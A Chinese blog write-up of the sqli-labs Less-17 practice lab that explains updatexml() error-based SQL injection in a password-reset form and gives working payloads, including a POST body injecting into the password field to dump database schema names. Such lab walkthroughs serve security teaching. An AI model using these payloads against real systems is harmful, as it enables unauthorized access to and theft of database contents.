sqli-labs less-17 updatexml()报错注入

在这里插入图片描述

这题相比前面的11到15关由原来的登陆注册框变成了现在的重置密码框
首先阅读源码发现
该题先审查user name的值,只有当user name的值是真值的时候才会处理下一步的new password
重点引入了update函数

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

这个函数的作用就是更新数据库

updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string是文档中的路径,且要符合xpath语法
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
报错注入原理:当应该输入路径的地方没有遵循xpath语法就会报错,如果网站会将数据库的报错返回到网页上,那我们就可以基于这一点爆取信息,这就是报错注入。

首先测试注入点
在user name测试了常见的7种变量的包裹方法均报错,说明对此处输入的信息做了过滤
在new password处测试发现变量的包裹方式为 单引号
开始构造payload
先尝试使用update函数

select updatexml(1, concat(0x7e,(database())),1);

使用该语句在数据库中查询可得结果如下图,说明这种注入思路可行
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出我们真正要查询的数据在这里插入图片描述

而我们的注入语句为:

 select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);

拼接可得

uname=admin&passwd=admin' and updatexml('forming is very handsome',concat(',',(select schema_name from information_schema.schemata limit 0,1),','),'forming is very handsome') #&submit=Submit

然后后面正常拼接sql注入的查询语句,一步一步的顺着查询表名,字段名,以及我们要查的数据
就行了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值